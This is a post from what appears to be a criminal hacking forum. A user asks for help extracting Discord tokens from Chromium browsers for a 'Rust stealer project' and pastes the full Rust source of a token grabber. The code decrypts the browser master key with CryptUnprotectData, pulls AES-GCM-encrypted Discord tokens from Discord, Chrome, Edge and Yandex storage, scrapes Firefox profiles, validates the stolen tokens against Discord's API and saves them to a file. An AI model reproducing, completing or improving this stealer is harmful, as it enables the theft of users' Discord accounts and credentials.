• XSS.stack #1 – первый литературный журнал от юзеров форума

Problem with Discord Token Grabber for Chromium based Browser

Tomek

RAID-массив
Пользователь
Регистрация
30.07.2021
Сообщения
93
Реакции
60
Hello, I have recently started to develop a Discord token grabber for the Rust stealer project. Previously, I had created one, but it only supported decrypted tokens, and that method has since been patched[.] The process of decrypting Discord tokens is now similar to that of decrypting data from Chromium-based browsers, and my code for this is working well. Additionally, my code can successfully extract tokens from Gecko-based browsers. However, I have a problem with Chromium-based browsers, the encrypted token pattern that I'm using only works for the Discord clients. Does anyone have any ideas on how to extract Discord tokens from Chromium-based browsers? I would be extremely grateful for any help or tip that could contribute in implementing this feature.

P.S. For now, this code is intended for debugging purposes, so there is a need to change many things before it could be used in real scenario!

cargo.toml
Код:
[package]
name = "discord_token_grabber"
version = "0.1.0"
edition = "2021"

[dependencies]
aes-gcm = "0.10.3"
base64 = "0.22.0"
regex = "1.10.4"
serde_json = "1.0.116"
walkdir = "2.5.0"
reqwest = { version = "0.12.4", features = ["blocking"] }
generic-array = "0.14.6"
aead = "0.5.1"
aes = "0.8.2"

[dependencies.windows]
version = "0.51"
features = [
"Win32_Security_Cryptography",
"Win32_Foundation",
]

main.rs

Код:
use std::collections::HashMap;
use std::env;
use std::fs;
use std::path::Path;
use std::fs::File;
use std::io::{Error, Write};
use base64::engine::general_purpose::STANDARD;
use aes_gcm::aead::Aead;
use aes_gcm::{Aes256Gcm, Key};
use base64::Engine;
use regex::Regex;
use serde_json::Value;
use walkdir::WalkDir;
use std::slice;
use aes_gcm::KeyInit;
use windows::Win32::Security::Cryptography::{CryptUnprotectData, CRYPT_INTEGER_BLOB};
use std::io::ErrorKind;

fn main() {
    let mut extract_tokens = ExtractTokens::new();

    let mut tokens = extract_tokens.extract().to_vec();
    tokens.sort();
    tokens.dedup();
    println!("Extracted Tokens: {:?}", tokens);

    let valid_tokens = validate_tokens(&tokens);
    println!("Valid Tokens: {:?}", valid_tokens);

    // Save valid tokens to file
    let file_path = "valid_tokens.txt";
    match save_tokens_to_file(&valid_tokens, file_path) {
        Ok(_) => println!("Valid tokens saved to file: {}", file_path),
        Err(e) => println!("Error saving tokens to file: {}", e),
    }
}

fn validate_tokens(tokens: &[String]) -> Vec<String> {
    let base_url = "https://discord.com/api/v9/users/@me";
    let client = reqwest::blocking::Client::new();
    let mut valid_tokens = Vec::new();

    for token in tokens {
        let request = client.get(base_url)
            .header("Authorization", token)
            .send();

        match request {
            Ok(response) => {
                if response.status().is_success() {
                    valid_tokens.push(token.clone());
                }
            }
            Err(e) => println!("Error validating token: {}", e),
        }
    }

    valid_tokens
}

fn save_tokens_to_file(tokens: &[String], file_path: &str) -> Result<(), Error> {
    if !tokens.is_empty() {
        let mut file = File::create(file_path)?;
        for token in tokens {
            writeln!(file, "{}", token)?;
        }
        Ok(())
    } else {
        Err(Error::new(ErrorKind::Other, "FUCK"))
    }
}

struct ExtractTokens {
    appdata: String,
    roaming: String,
    regexp: Regex,
    regexp_enc: Regex,
    tokens: Vec<String>,
    master_keys: HashMap<String, Vec<u8>>,
}

impl ExtractTokens {
    fn new() -> Self {
        Self {
            appdata: env::var("LOCALAPPDATA").unwrap_or_default(),
            roaming: env::var("APPDATA").unwrap_or_default(),
            regexp: Regex::new(r"[\w-]{20,30}\.[\w-]{6}\.[\w-]{20,100}").unwrap(), // for decrypted toknes working
            regexp_enc: Regex::new(r#"dQw4w9WgXcQ:[^.*\['(.*)'\].*$][^\"]*"#).unwrap(), // for crypted tokens AES + CryptUnprotectData + Masterkey fro Local Stage
            tokens: Vec::new(),
            master_keys: HashMap::new(),
        }
    }

    fn extract(&mut self) -> &Vec<String> {
        let paths = self.get_paths();

        for (name, (local_state_path, token_path)) in &paths {
            if let Some(decrypted_master_key) = self.get_master_key(&local_state_path) {
                self.master_keys.insert(token_path.clone(), decrypted_master_key);

                for entry in WalkDir::new(token_path).into_iter().filter_map(|e| e.ok()) {
                    let file_name = entry.file_name().to_string_lossy();
                    if !file_name.ends_with("log") && !file_name.ends_with("ldb") {
                        continue;
                    }

                    let file_content = match fs::read(entry.path()) {
                        Ok(content) => content,
                        Err(err) => {
                            println!("Error reading file {}: {}", entry.path().display(), err);
                            continue;
                        }
                    };

                    let file_content_str = String::from_utf8_lossy(&file_content);
                    println!("Processing file: {}", entry.path().display());

                    if let Some(decrypted_master_key) = self.master_keys.get(token_path) {
                        for cap in self.regexp_enc.captures_iter(&file_content_str) {
                            let encoded = cap[0].split("dQw4w9WgXcQ:").collect::<Vec<&str>>()[1].to_string();

                            println!("Encoded token: {}", encoded);
                    
                            match self.decrypt_val(&encoded, decrypted_master_key) {
                                Ok(token) => {
                                    println!("Found encrypted token: {}", token);
                                    self.tokens.push(token);
                                }
                                Err(e) => {
                                    println!("Error decrypting token: {}", e);
                                }
                            }
                        }
                    } else {
                        for cap in self.regexp.captures_iter(&file_content_str) {
                            let token = cap[0].to_string();
                            println!("Found token regexp_v1: {}", token);
                            self.tokens.push(token);
                        }
                    }
                }
            }
        }

        let firefox_profiles_path = format!("{}\\Mozilla\\Firefox\\Profiles", self.roaming);
        if Path::new(&firefox_profiles_path).exists() {
            for entry in WalkDir::new(firefox_profiles_path).into_iter().filter_map(|e| e.ok()) {
                let file_name = entry.file_name().to_string_lossy();
                if !file_name.ends_with(".sqlite") {
                    continue;
                }

                let file_content = match fs::read(entry.path()) {
                    Ok(content) => content,
                    Err(err) => {
                        println!("Error reading Firefox profile file {}: {}", entry.path().display(), err);
                        continue;
                    }
                };

                let file_content_str = String::from_utf8_lossy(&file_content);
                println!("Processing Firefox profile file: {}", entry.path().display());
                for cap in self.regexp.captures_iter(&file_content_str) {
                    let token = cap[0].to_string();
                    println!("Found token in Firefox profile regexp_v1: {}", token);
                    self.tokens.push(token);
                }
            }
        } else {
            println!("Firefox profiles path does not exist: {}", firefox_profiles_path);
        }

        println!("Paths: {:?}", self.get_paths());
        &self.tokens
    }

    fn get_paths(&self) -> HashMap<String, (String, String)> {
        let mut paths = HashMap::new();
        paths.insert(
            "Discord".to_string(),
            (
                format!("{}\\discord\\Local State", self.roaming),
                format!("{}\\discord\\Local Storage\\leveldb", self.roaming),
            ),
        );
        paths.insert(
            "Chrome".to_string(),
            (
                format!("{}\\Google\\Chrome\\User Data\\Local State", self.appdata),
                format!("{}\\Google\\Chrome\\User Data\\Default\\Local Storage\\leveldb", self.appdata),
            ),
        );
        paths.insert(
            "Microsoft Edge".to_string(),
            (
                format!("{}\\Microsoft\\Edge\\User Data\\Local State", self.appdata),
                format!("{}\\Microsoft\\Edge\\User Data\\Default\\Local Storage\\leveldb", self.appdata),
            ),
        );
        paths.insert(
            "Yandex".to_string(),
            (
                format!("{}\\Yandex\\YandexBrowser\\User Data\\Local State", self.appdata),
                format!("{}\\Yandex\\YandexBrowser\\User Data\\Default\\Local Storage\\leveldb", self.appdata),
            ),
        );
        paths
    }

    fn get_master_key(&self, path: &str) -> Option<Vec<u8>> {
        println!("Attempting to get master key from: {}", path);
        let contents = match fs::read(path) {
            Ok(contents) => contents,
            Err(err) => {
                println!("Error reading Local State file {}: {}", path, err);
                return None;
            }
        };
    
        let file_content_str = String::from_utf8_lossy(&contents);
        let local_state: Value = match serde_json::from_str(&file_content_str) {
            Ok(local_state) => local_state,
            Err(err) => {
                println!("Error parsing Local State JSON: {}", err);
                return None;
            }
        };
    
        let master_key_base64 = match local_state["os_crypt"]["encrypted_key"].as_str() {
            Some(key) => key,
            None => {
                println!("Missing encrypted_key in local_state");
                return None;
            }
        };
    
        println!("Encrypted master key: {}", master_key_base64);
        let mut master_key = match STANDARD.decode(master_key_base64) {
            Ok(key) => key,
            Err(err) => {
                println!("Error decoding base64 master key: {}", err);
                return None;
            }
        };
    
        println!("Decoded master key: {:?}", master_key);

        // Remove first 5 bytes from master key (WE NEED IT OTHERSIWE THERE IS ERROR 0x8007000D = data is invalid)
        let trimed_master_key = master_key[5..].to_vec();
    
        // Decrypt master key using CryptUnprotectData
        let mut data_in = CRYPT_INTEGER_BLOB {
            cbData: trimed_master_key.len() as u32,
            pbData: trimed_master_key.as_ptr() as *mut _,
        };
    
        #[repr(C)]
        struct DataBlob {
            cb_data: u32,
            pb_data: *mut u8,
        }
    
        let mut data_out = DataBlob {
            cb_data: 0,
            pb_data: std::ptr::null_mut(),
        };
    
        let result = unsafe {
            CryptUnprotectData(
                &mut data_in,
                None,
                None,
                None,
                None,
                0,
                &mut data_out as *mut _ as *mut _,
            )
        };
    
        if result.is_err() {
            println!("Error decrypting master key: {}", result.unwrap_err());
            return None;
        }
    
        let decrypted_master_key = unsafe {
            slice::from_raw_parts(data_out.pb_data, data_out.cb_data as usize).to_vec()
        };
    
        println!("Decrypted master key: {:?}", decrypted_master_key);
        Some(decrypted_master_key)
    }

    fn decrypt_val(&self, encoded: &str, decrypted_master_key: &[u8]) -> Result<String, Error> {

        println!("Attempting to decrypt: {}", encoded);
    
        let decoded = match STANDARD.decode(encoded) {
            Ok(decoded) => decoded,
            Err(_) => {
                println!("Error decoding the encoded string");
                return Err(Error::new(ErrorKind::InvalidData, "Failed to decode encoded string"));
            }
        };
        println!("Decoded value: {:?}", decoded);
    
        let iv = &decoded[3..15];
        let payload = &decoded[15..];
        println!("IV: {:?}", iv);
        println!("Payload: {:?}", payload);
    
        let key = Key::<Aes256Gcm>::from_slice(decrypted_master_key);
        let cipher = Aes256Gcm::new(key);
    
        let decrypted_pass = match cipher.decrypt(iv.into(), payload) {
            Ok(decrypted) => decrypted,
            Err(e) => {
                println!("Error decrypting token: {}", e);
                return Err(Error::new(ErrorKind::InvalidData, format!("Failed to decrypt token: {}", e)));
            }
        };
    
        println!("Decrypted value (with auth tag): {:?}", decrypted_pass);
    
        // Remove last 16 bytes (authentication tag) (DO NOT FUCKING DO IT, IT WILL FUCK DECRYPTION PART, IDK I SAW THIS CODE IN FEW SAMPLES, but this code is still here just in case)
        //let decrypted_pass = &decrypted_pass[..decrypted_pass.len() - 16];
        println!("Decrypted value (without auth tag): {:?}", decrypted_pass);
    
        // Convert the decrypted bytes to string
        let decrypted_token = match String::from_utf8(decrypted_pass.to_vec()) {
            Ok(token) => token,
            Err(e) => {
                println!("Error converting decrypted bytes to string: {}", e);
                return Err(Error::new(ErrorKind::InvalidData, format!("Failed to convert decrypted bytes to string: {}", e)));
            }
        };
    
        println!("Decrypted token: {}", decrypted_token);
    
        Ok(decrypted_token)
    }
}
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх